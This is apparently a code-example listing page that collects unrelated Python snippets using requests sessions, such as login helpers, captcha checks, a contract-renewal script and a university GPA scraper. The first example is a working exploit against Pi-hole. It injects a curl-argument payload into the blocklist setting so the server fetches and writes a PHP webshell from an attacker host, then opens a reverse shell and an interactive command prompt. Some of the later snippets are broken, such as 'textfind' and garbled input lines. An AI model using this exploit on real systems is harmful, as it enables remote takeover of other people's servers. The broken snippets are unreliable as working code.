예제 #1
0
def exploit(session: requests.session) -> None:
    print(
        f"[+] Got session-cookie: PHPSESSID={session.cookies.get_dict()['PHPSESSID']}"
    )

    # Get csrf token
    #print("[*] Getting CSRF-token")
    html = session.get(url=f"{url}settings.php?tab=blocklists",
                       proxies=proxy).text
    soup = BeautifulSoup(html, 'html.parser')
    token = soup.find("input", {'name': 'token'})['value']

    # Stage 1: Trigger connection to our server
    payload = f'http://{get_ip()}# -o ex.php -d "'
    data = {
        'newuserlists': payload,
        'token': token,
        'field': 'adlists',
        'submit': 'saveupdate'
    }
    session.post(url=f"{url}settings.php?tab=blocklists",
                 data=data,
                 proxies=proxy)

    # Setup http server
    http = Process(target=setup_http)
    http.daemon = True
    http.start()

    # Trigger access & file write
    for i in range(2):
        session.get(url=f"{url}scripts/pi-hole/php/gravity.sh.php",
                    proxies=proxy)

    # Verify webshell
    if verify_webshell():
        print("[+] Webshell uploaded successfully!")
        rev_shell()
        try:
            while True:
                cmd = input("cmd> ")
                print(exec(cmd))
        except KeyboardInterrupt:
            quit()
        except Exception as ex:
            raise ex
    else:
        raise Exception("Webshell not uploaded!")
예제 #2
0
 def check_captcha(s: requests.session, captcha: str):
     r = s.post("https://pass.changyan.com/api/checkCaptcha",
                data={
                    "t": "normal",
                    "c": captcha
                })
     return r.json().get("ok")
예제 #3
0
def _connect(url: str, data: str=None, headers: dict or None=None,
             auth=None, session: requests.session=__SESSION) -> requests.Response:
    """
    :param url: url
    :type url: :class:`str`
    :param data: data to post
    :type data: :class:`str`
    :param headers: headers to send
    :type headers: :class:`dict` or :class:`None`
    :param auth: the authenticate for the session.
    :type auth: :class:`requests.auth.HTTPBasicAuth`
    :param session: the session to connect to, otherwise using the default ones.
    :type session: :class:`requests.Session`

    :return: the respond of the connection
    :rtype: :class:`requests.Response`
    """
    if headers is None:
        headers = dict()

    url = url_fixer(url)

    headers['User-Agent'] = consts.USER_AGENT
    if data is not None:
        sock = session.post(url, data=data, headers=headers, auth=auth)
    else:
        sock = session.get(url, headers=headers, auth=auth)
    return sock
예제 #4
0
def execute_http_call(method, url, params, retry, timeout, apiKey,
                      apiKeyPrefix):
    """
    Executes http call using requests library
    Parameters
    ----------
    method : str
    url : str
    params : dict
    retry : Retry
    timeout : tuple
    Returns
    -------
    Response
    """
    # set session
    session = Session()
    session.mount('https://',
                  HTTPAdapter(max_retries=retry))  # Documented in HTTPAdapter
    session.headers = {
        'Authorization': '{} {}'.format(apiKeyPrefix, apiKey),
        'Content-Type': 'application/json',
        'User-Agent': generate_user_agent(),
    }

    if method is "GET":
        response = session.get(url, params=params, timeout=timeout)
    elif method is "POST":
        response = session.post(url, json=params, timeout=timeout)
    else:
        raise NotImplementedError()

    return response
예제 #5
0
def apost(asession: session, url, data={}):

    burp0_url = buildURL(asession, url, {})
    burp0_cookies = {"ATERNOS_SEC_7bawidcle0t00000": "3uayvfdrudm00000"}
    for cookie in asession.cookies.get_dict():
        if "_SEC_" in cookie:
            burp0_cookies = {
                cookie: asession.cookies.get(cookie),
            }
    burp0_headers = {
        "Connection": "close",
        "Accept": "*/*",
        "X-Requested-With": "XMLHttpRequest",
        "User-Agent":
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36",
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
        "Origin": "https://aternos.org",
        "Sec-Fetch-Site": "same-origin",
        "Sec-Fetch-Mode": "cors",
        "Sec-Fetch-Dest": "empty",
        "Referer": "https://aternos.org/go/",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7"
    }
    # burp0_data = {
    # 	"user": "******",
    # 	"password": "******"
    # }
    return asession.post(burp0_url,
                         headers=burp0_headers,
                         cookies=burp0_cookies,
                         data=data)
예제 #6
0
def scap(r: requests.session, image):
    try:
        re = r.post("https://bili.dev:2233/captcha",
                    json={'image': base64.b64encode(image).decode("utf-8")})
        re = re.json()
    except:
        return None
    return re['message'] if re and re["code"] == 0 else None
예제 #7
0
def post_sysconf(s: requests.session, page: str, act: str, params, data):
    return s.post(url=sysconf,
                  params=dict({
                      "page": page,
                      "action": act
                  }, **params),
                  data=data,
                  verify=False)
예제 #8
0
파일: euserv.py 프로젝트: Aiyuanjiang/oxmo
def renew(sess_id: str, session: requests.session, password: str,
          order_id: str) -> bool:
    url = "https://support.euserv.com/index.iphp"
    headers = {
        "user-agent":
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) "
        "Chrome/83.0.4103.116 Safari/537.36",
        "Host":
        "support.euserv.com",
        "origin":
        "https://support.euserv.com",
        "Referer":
        "https://support.euserv.com/index.iphp"
    }
    data = {
        "Submit": "Extend contract",
        "sess_id": sess_id,
        "ord_no": order_id,
        "subaction": "choose_order",
        "choose_order_subaction": "show_contract_details"
    }
    session.post(url, headers=headers, data=data)
    data = {
        "sess_id": sess_id,
        "subaction": "kc2_security_password_get_token",
        "prefix": "kc2_customer_contract_details_extend_contract_",
        "password": password
    }
    f = session.post(url, headers=headers, data=data)
    f.raise_for_status()
    if not json.loads(f.text)["rs"] == "success":
        return False
    token = json.loads(f.text)["token"]["value"]
    data = {
        "sess_id": sess_id,
        "ord_id": order_id,
        "subaction": "kc2_customer_contract_details_extend_contract_term",
        "token": token
    }
    session.post(url, headers=headers, data=data)
    time.sleep(5)
    return True
예제 #9
0
def dolike(ses: requests.session, to_userid: str, type: int = 1):
    data = json.dumps({"from": "1", "toUserId": to_userid, "type": str(type)})
    sign = get_md5_code(data)
    res = ses.post(host + '/api/center/doLike',
                   data={
                       'sign': sign,
                       'data': data
                   })
    if res.json()['code'] != 200:
        print(res.text)
        raise Exception
예제 #10
0
def login(session: requests.session,
          account: str,
          password: str,
          captcha_code=None,
          save_captcha=False):
    """Login to Mo Online.

    Arguments:
        session {requests.session} -- requests session.
        account {str} -- game account.
        password {str} -- game password.
        captcha {str} -- captcha code.

    Raises:
        LoginError:
            description: error_type
            server_error: Server timeout or error
            account_error: User password or account error
            captcha_error:  captcha code error.
    Returns:
        [str] -- game login url. (moop)
    """
    page = session.get(url=LOGIN_URL, timeout=TIMEOUT)
    if not isinstance(captcha_code, str):
        get_captcha(session)
        captcha_code = input("input captcha code: ")
    csrf_parse(page.text)
    login_data = {
        'loginAccount': account,
        'loginPassword': password,
        'loginCode': captcha_code,
        'contract1': 'on',
        'contract2': 'on',
        'contract3': 'on',
        **csrf_parse(page.text)
    }

    post_login = session.post(url=LOGIN_URL, timeout=TIMEOUT, data=login_data)

    if post_login.url == START_GAME_URL and post_login.status_code == 200:
        _base_index = post_login.text.find('window.location.href') + 24
        return post_login.text[_base_index:post_login.text.
                               find('"', _base_index + 1)]

    elif post_login.textfind("密碼錯誤") > -1:
        raise LoginError(error_type='account_error',
                         account=account,
                         message="account or password wrong.")
    elif post_login.textfind("驗證碼輸入不正確") > -1:
        raise LoginError(error_type='captcha_error',
                         account=account,
                         message="captcha code error.")

    raise BaseException("Something error :(")
예제 #11
0
def renew(
    sess_id: str, session: requests.session, password: str, order_id: str
) -> bool:
    url = "https://support.euserv.com/index.iphp"
    headers = {
        "user-agent": user_agent,
        "Host": "support.euserv.com",
        "origin": "https://support.euserv.com",
        "Referer": "https://support.euserv.com/index.iphp",
    }
    data = {
        "Submit": "Extend contract",
        "sess_id": sess_id,
        "ord_no": order_id,
        "subaction": "choose_order",
        "choose_order_subaction": "show_contract_details",
    }
    session.post(url, headers=headers, data=data)
    data = {
        "sess_id": sess_id,
        "subaction": "kc2_security_password_get_token",
        "prefix": "kc2_customer_contract_details_extend_contract_",
        "password": password,
    }
    f = session.post(url, headers=headers, data=data)
    f.raise_for_status()
    if not json.loads(f.text)["rs"] == "success":
        return False
    token = json.loads(f.text)["token"]["value"]
    data = {
        "sess_id": sess_id,
        "ord_id": order_id,
        "subaction": "kc2_customer_contract_details_extend_contract_term",
        "token": token,
    }
    session.post(url, headers=headers, data=data)
    time.sleep(5)
    return True
예제 #12
0
 def try_post_url(cls,
                  session: requests.session,
                  url: str,
                  *,
                  try_times: int = 3,
                  try_timeout: int = 5,
                  **kwargs) -> Optional[requests.Response]:
     for _ in range(try_times):
         try:
             r = session.post(url=url, timeout=try_timeout, **kwargs)
             return r
         except (requests.exceptions.ConnectionError,
                 requests.exceptions.ReadTimeout) as e:
             pass
     return None
예제 #13
0
def getCourseInfo(cid, tid, sess: requests.session):  # query course info by cid and tid
    params = {
        "PageIndex": 1,
        "PageSize": 1,
        "FunctionString": "Query",
        "CID": cid,
        "CourseName": "",
        "IsNotFull": "False",
        "CourseType": "B",
        "TeachNo": tid,
        "TeachName": "",
        "Enrolls": "",
        "Capacity1": "",
        "Capacity2": "",
        "CampusId": "",
        "CollegeId": "",
        "Credit": "",
        "TimeText": ""
    }
    r = sess.post(_baseurl + _querycourse, params)
    if "未查询到符合条件的数据!" in r.text:
        raise RuntimeError(3, f"Course Not Exist")
    html = lxml.etree.HTML(r.text)
    td = html.xpath("//table[@class='tbllist']/tr/td")
    try:
        return Courseinfo(courseid=td[0].text.strip(),
                          coursename=td[1].text.strip(),
                          teacherid=td[3].text.strip(),
                          teachername=td[4].xpath("./span/text()")[0],
                          capacity=int(td[8].text.strip()),
                          number=int(td[9].text.strip()),
                          restriction=td[11].text.strip() if td[11].text else "")
    except:
        emsg = r.status_code
        if r.url.startswith(_baseurl+_baseerror):
            emsg = urllib.parse.unquote(r.url.replace(_baseurl+_baseerror+"?msg=",""))
        logging.warning('Error Occurred: %s' % emsg)
        logging.debug(r.text)
        time.sleep(0.5)
        return Courseinfo(courseid=cid,
                          coursename="XXX",
                          teacherid=tid,
                          teachername="XXX",
                          capacity=0,
                          number=0,
                          restriction="Error Occurred: %s Retry..." % emsg)
예제 #14
0
def get_ip(session: requests.session, domain: str):
    payload = {"host": domain}
    try:
        res = session.post(IPADDRESS_URL,
                           headers=HEADERS,
                           data=payload,
                           timeout=5)
        html = res.text
        begin = html.find("<main>")
        end = html.find("</main>")
        if begin == -1 or end == -1:
            raise Exception("ip address is empty!")
        html = html[begin:end]
        pattern = r"\b(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b"
        ip_list = re.findall(pattern, html)
        if len(ip_list) != 0:
            return list(set(ip_list))
        raise Exception("ip address is empty!")
    except Exception as ex:
        print("get: {}, error: {}".format(domain, ex))
        raise
예제 #15
0
class GPAConverter():
    """Scraper of UFSC's Undergraduate academic control system (CAGR) to convert academic record from Decimal to GPA grading scale"""

    _LOGIN_URL = 'https://sistemas.ufsc.br/login?service=https%3A%2F%2Fcagr.sistemas.ufsc.br%2Fj_spring_cas_security_check&userType=padrao&convertToUserType=alunoGraduacao&lockUserType=1'
    _WALL_URL = 'https://collecta.sistemas.ufsc.br/restrito/confirmacaoFrame.xhtml'
    _RECORD_URL = 'https://cagr.sistemas.ufsc.br/modules/aluno/historicoEscolar/'

    # 1: http://calculadora.abroaders.com.br/
    # 2: http://www.centralia.edu/academics/earthscience/resources/dec_grd_sys.htm
    # 3: https://blog.prepscholar.com/gpa-chart-conversion-to-4-0-scale

    scale = {
        1: [{
            'decimal': 9,
            'grade': 4.0
        }, {
            'decimal': 7,
            'grade': 3.0
        }, {
            'decimal': 5,
            'grade': 2
        }, {
            'decimal': 3,
            'grade': 1
        }, {
            'decimal': 0,
            'grade': 0
        }],
        2: [{
            'decimal': 9.7,
            'grade': 4.0
        }, {
            'decimal': 9.6,
            'grade': 3.9
        }, {
            'decimal': 9.5,
            'grade': 3.8
        }, {
            'decimal': 9.3,
            'grade': 3.7
        }, {
            'decimal': 9.1,
            'grade': 3.6
        }, {
            'decimal': 9.0,
            'grade': 3.5
        }, {
            'decimal': 8.8,
            'grade': 3.4
        }, {
            'decimal': 8.7,
            'grade': 3.3
        }, {
            'decimal': 8.5,
            'grade': 3.2
        }, {
            'decimal': 8.4,
            'grade': 3.1
        }, {
            'decimal': 8.2,
            'grade': 3.0
        }, {
            'decimal': 8.0,
            'grade': 2.9
        }, {
            'decimal': 7.9,
            'grade': 2.8
        }, {
            'decimal': 7.8,
            'grade': 2.7
        }, {
            'decimal': 7.7,
            'grade': 2.6
        }, {
            'decimal': 7.6,
            'grade': 2.5
        }, {
            'decimal': 7.5,
            'grade': 2.4
        }, {
            'decimal': 7.4,
            'grade': 2.3
        }, {
            'decimal': 7.3,
            'grade': 2.2
        }, {
            'decimal': 7.2,
            'grade': 2.1
        }, {
            'decimal': 7.1,
            'grade': 2.0
        }, {
            'decimal': 7.0,
            'grade': 1.9
        }, {
            'decimal': 6.9,
            'grade': 1.8
        }, {
            'decimal': 6.8,
            'grade': 1.7
        }, {
            'decimal': 6.7,
            'grade': 1.6
        }, {
            'decimal': 6.6,
            'grade': 1.5
        }, {
            'decimal': 6.5,
            'grade': 1.4
        }, {
            'decimal': 6.4,
            'grade': 1.3
        }, {
            'decimal': 6.2,
            'grade': 1.2
        }, {
            'decimal': 6.1,
            'grade': 1.1
        }, {
            'decimal': 6.0,
            'grade': 1.0
        }, {
            'decimal': 0,
            'grade': 0
        }],
        3: [{
            'decimal': 9.3,
            'grade': 4.0
        }, {
            'decimal': 9.0,
            'grade': 3.7
        }, {
            'decimal': 8.7,
            'grade': 3.3
        }, {
            'decimal': 8.3,
            'grade': 3.0
        }, {
            'decimal': 8.0,
            'grade': 2.7
        }, {
            'decimal': 7.7,
            'grade': 2.3
        }, {
            'decimal': 7.3,
            'grade': 2.0
        }, {
            'decimal': 7.0,
            'grade': 1.7
        }, {
            'decimal': 6.7,
            'grade': 1.3
        }, {
            'decimal': 6.5,
            'grade': 1.0
        }, {
            'decimal': 0,
            'grade': 0.0
        }]
    }

    def __init__(self, username=None, password=None):
        self.__session = Session()
        # generate csrf token to include in the log-in payload
        self.__token = (BeautifulSoup(
            self.__session.get(GPAConverter._LOGIN_URL).content,
            'lxml').find(attrs={
                "name": "execution",
                "type": "hidden"
            })['value'])
        if not username or not password:
            self.login()
        else:
            self.__login(username, password)
            self.__bypass_wall()

    @classmethod
    def from_dotenv(cls):
        """Log-in using a .env file. The .env file must contain the variables USERNAME and PASSWORD

        Returns:
            instance (GPAConverter): a GPAConverter instance logged-in"""

        username = get_key(find_dotenv(), 'USERNAME')
        password = get_key(find_dotenv(), 'PASSWORD')
        instance = cls(username, password)
        return instance

    def login(self):
        """Log-in providing the credentials on the CLI"""
        # collect username via CLI
        username = input('Username: '******'Password: '******'username': username,
            'password': password,
            'admin': 0,
            'execution': self.__token,
            '_eventId': 'submit'
        }

        response = self.__session.post(GPAConverter._LOGIN_URL, data=payload)
        # if HTTP 401 (Unauthorized - Wrong username or password) raise LoginError
        if response.status_code == 401:
            raise LoginError('Invalid username or password')

    def __bypass_wall(self):
        # generate standard payload to bypass a survey wall
        payload = {
            'j_id20': 'j_id20',
            'j_id20:j_id21': 'Clique aqui para voltar para o CAGR',
            'javax.faces.ViewState': 'j_id1'
        }

        self.__session.post(GPAConverter._WALL_URL, data=payload)

    def get_grade_records(self):
        """Scrape and return the transcript of records

        Returns:
        transcript (DataFrame): tabular data containing the subject code, description, credit points and grade
        """
        # transform the html content in a soup
        soup = BeautifulSoup(
            self.__session.get(GPAConverter._RECORD_URL).content, 'lxml')
        # find all Attributes in the table
        subjects_obj = soup.find_all('tr', attrs={'class': 'rich-table-row'})
        # subjects is used to store the subjects and all of its information
        subjects = list()

        for i in subjects_obj:
            subject = list(i)
            try:
                # divide credit points by the standard number of weeks in the academic calendar
                credits = int(subject[2].contents[0]) / 18
                grade = float(subject[3].contents[0])
            except IndexError:
                # if a subject doesn't contain credit points, do not include it into the list
                warnings.warn('Empty credit points subject', Warning)
                continue
            except ValueError:
                # if a subject do not contain a numeric grade, do not include it into the list
                warnings.warn('Concept I subject', Warning)
                continue
            subjects.append({
                'code': subject[0].contents[0],
                'subject': subject[1].contents[0],
                'credits': credits,
                'grade': grade,
            })
        # transform list of subejects in a DataFrame
        self.transcript = pd.DataFrame(subjects)
        return self.transcript

    @staticmethod
    def _gpa(grade, conversion):
        return max(conversion.loc[conversion.decimal <= grade, 'grade'])

    def get_iaa(self, transcript=None):
        """Calculates the grades' cumulative decimal average

        Attributes:
            transcript (DataFrame): tabular data cointaining the subjects, credit points and grades. If not provided, it will be scrapped out of CAGR
        """

        if transcript is None:
            try:
                transcript = self.transcript.copy()
            except AttributeError:
                warnings.warn('get_grade_records was not previously executed',
                              Warning)
                self.get_grade_records()
                transcript = self.transcript

        print('IAA: %.2f' % (sum(transcript.credits * transcript.grade) /
                             sum(transcript.credits)))

    def get_gpa(self, scale_id=1, transcript=None):
        """Calculates the GPA

        Attributes:
            scale_id (int): from 1 - 3, specifies the GPA scale used
                1: http://calculadora.abroaders.com.br/
                2: http://www.centralia.edu/academics/earthscience/resources/dec_grd_sys.htm
                3: https://blog.prepscholar.com/gpa-chart-conversion-to-4-0-scale

            transcript (DataFrame): tabular data cointaining the subjects, credit points and grades. If not provided, it will be scrapped out of CAGR
        """

        # creates a DataFrame of the selected scale
        conversion = pd.DataFrame(GPAConverter.scale[scale_id])

        # if a transcript is not provided, the one fetched by the module is used
        if transcript is None:
            try:
                transcript = self.transcript.copy()
            except AttributeError:
                warnings.warn('get_grade_records was not previously executed',
                              Warning)
                self.get_grade_records()
                transcript = self.transcript

        print('GPA: %.2f' %
              (sum(transcript.credits * transcript.loc[:, 'grade'].apply(
                  self._gpa, args=(conversion, ))) / sum(transcript.credits)))

    def export_translated_transcript(self, scale_id=1):
        """Exports the transcript of records with GPA conversion and subject translation to a Excel Spreadsheet

        Attributes:
            scale_id (int): from 1 - 3, specifies the GPA scale used
                1: http://calculadora.abroaders.com.br/
                2: http://www.centralia.edu/academics/earthscience/resources/dec_grd_sys.htm
                3: https://blog.prepscholar.com/gpa-chart-conversion-to-4-0-scale
        """
        # creates a DataFrame of the selected scale
        conversion = pd.DataFrame(GPAConverter.scale[scale_id])

        # read translated transcript
        translated = pd.read_excel('./translated.xls',
                                   header=None,
                                   names=['code', 'subjects'])
        transcript = self.transcript.copy()

        # generate GPA and translated description columns
        transcript['translated'] = [
            translated.loc[translated.code == i, 'subjects'].iloc[0]
            if i in list(translated.code) else '' for i in transcript.code
        ]
        transcript['gpa'] = transcript.loc[:,
                                           'grade'].apply(self._gpa,
                                                          args=(conversion, ))
        transcript = transcript.loc[:, [
            'code', 'credits', 'grade', 'gpa', 'subject', 'translated'
        ]]

        # export file to excel and print its path
        transcript.to_excel('./exported_translated_transcript.xlsx')
        print('file saved as ./exported_translated_transcript.xlsx')